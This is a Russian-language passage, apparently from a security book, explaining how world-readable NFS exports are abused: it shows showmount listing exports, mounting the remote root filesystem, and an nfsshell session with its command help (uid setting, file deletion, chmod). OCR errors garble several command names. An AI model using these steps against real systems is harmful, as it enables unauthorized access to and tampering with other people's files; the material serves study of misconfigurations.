Часто используемые методы удаленного взлома
Обратившись к службе преобразования портов, на основе полученных результатов можно сделать вывод о том, что на удаленной системе запущены серверы NFS и mountd. Это означает, что данная система может экспортировать как минимум одну файловую систему.
[tsunami]# showmount -е quake Export list for quake: / (everyone! /usr (everyone)
Из результатов, полученных с помощью команды showmount, видно, что в рассматриваемом примере экспортируемыми является не только файловая система /usr, но и /, что связано с очень большим риском. Все, что нужно сделать взломщику для получения доступа к такой системе, – это воспользоваться командой mount / или mount /usr. После этого он получит доступ к любому файлу файловой системы / или /usr, в соответствии с разрешениями, заданными для файлов и каталогов. Команда mount входит в состав большинства клонов UNIX, хотя она оказывается и не такой гибкой, как некоторые другие средства. Для того чтобы познакомиться с особенностями использования команды mount более подробно, введите команду man mount, так как в некоторых случаях ее синтаксис может отличаться от того, который вы увидите в приведенном ниже примере.
[tsunami /root]# mount quake://mnt
Другим, более удобным, инструментом исследования системы NFS является пакет nfsshell, разработанный Линдертом Ван Дорном (Leendert van Doom), которую можно найти по адресу ftp://ftp.cs.vu.nl/pub/leendert/nfsshell.tar.gz. В состав пакета nfsshell входит робастный клиент nfs. Этот клиент функционирует подобно клиенту FTP и позволяет легко манипулировать удаленной файловой системой. Многочисленные параметры nfs заслуживают того, чтобы привести их в данной книге.
[tsunami nfs]# nfs nfs> help host <host> – установка имени удаленного узла uid [<uid> <secret-key>]] – установка идентификатора удаленного пользователя gid [<gid>] – установка идентификатора удаленной группы cd [<path>j – изменение рабочего каталога на удаленном узле led [<path>] – изменение рабочего каталога на локальном узле cat <filespec> – вывод на экран заданного файла Is – I <filespec> – просмотр содержимого удаленного каталога get <fiiespec> – получение удаленного файла df – информация о файловой системе rm <file> – удаление файла на удаленном узле in <filel> <f.ile2> – создание ссылки на файл rnv <filel> <file2> – перемещение файла mkdir <dir> – создание каталога на удаленном узле rmdir <dir> – удаление каталога на удаленном узле chmod <mode> <file> – изменение атрибутов файла chown <uid>[.<gid>] <file> – изменение владельца put. <Iccal-file> [<remote-file>] – отправка локального файла mount [-upTU] [-P port] <path> – монтирование файловой системы umount – демонтирование удаленной файловой системы umountall – демонтирование всех удаленных файловых систем export – просмотр списка всех экспортируемых файловых систем dump – просмотр всех смонтированных удаленных файловых систем status – вывод отчета о состоянии help – вывод данной информации quit – название говорит само за себя bye – good bye handle [<handle>] – просмотр/установка дескриптора файла каталога mknod <name> [b/c major minor] [p] – создание устройства
Сначала нужно сообщить утилите nfs, файловую систему какого узла необходимо смонтировать.
nfs> host quake Using a privileged port (1022) Open quake (192.168.1.10) TCP
Затем посмотрим, какие файловые системы можно экспортировать.
nfs> export Export list for quake: / everyone /usr everyone
Теперь, чтобы получить доступ к файловой системе /, необходимо ее смонтировать.
nfs> mount / Using a privileged port (1021) Mount '/', TCP, transfer size 8192 bytes